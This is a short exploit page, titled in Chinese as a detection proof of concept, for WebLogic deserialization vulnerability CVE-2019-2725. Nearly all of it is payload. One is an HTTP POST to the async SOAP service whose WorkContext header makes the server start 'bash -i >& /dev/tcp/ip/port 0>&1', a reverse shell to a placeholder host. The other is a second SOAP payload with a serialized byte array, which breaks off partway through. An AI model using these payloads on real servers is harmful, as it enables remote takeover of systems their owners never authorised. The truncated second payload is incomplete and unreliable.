利用POC检测WebLogic反序列化漏洞CVE-2019-2725

POST /_async/AsyncResponseService HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
SOAPAction: ""
Content-Type: text/xml;charset=UTF-8
fileName: .shell123.jsp
Content-Length: 239842
Connection: close
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i &gt;&amp; /dev/tcp/ip/port 0&gt;&amp;1</string> </void> </array> <void method="start"/></void> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>
 
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
   <soapenv:Header>
 <wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java>
      <array method="forName"><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
<void>
 <array class="byte" length="4977">
  <void index="0">
   <byte>-84</byte>
  </void>
  <void index="1">
   <byte>-19</byte>
  </void>
  <void index="3">
   <byte>5</byte>
  </void>
  <void index="4">
   <byte>115</byte>

  </void>
  <void index="5">
   <byte>114</byte>
  </void>
  <void index="7">
   <byte>23</byte>
  </void>
  <void index="8">
   <byte>106</byte>
  </void>
  <void index="9">
   <byte>97</byte>
  </void>
  <void index="10">
   <byte>118</byte>
  </void>
  <void index="11">
   <byte>97</byte>
  </void>
  <void index="12">
   <byte>46</byte>
  </void>
  <void index="13">
   <byte>117</byte>
  </void>
  <void index="14">
   <byte>116</byte>
  </void>
  <void index="15">
   <byte>105</byte>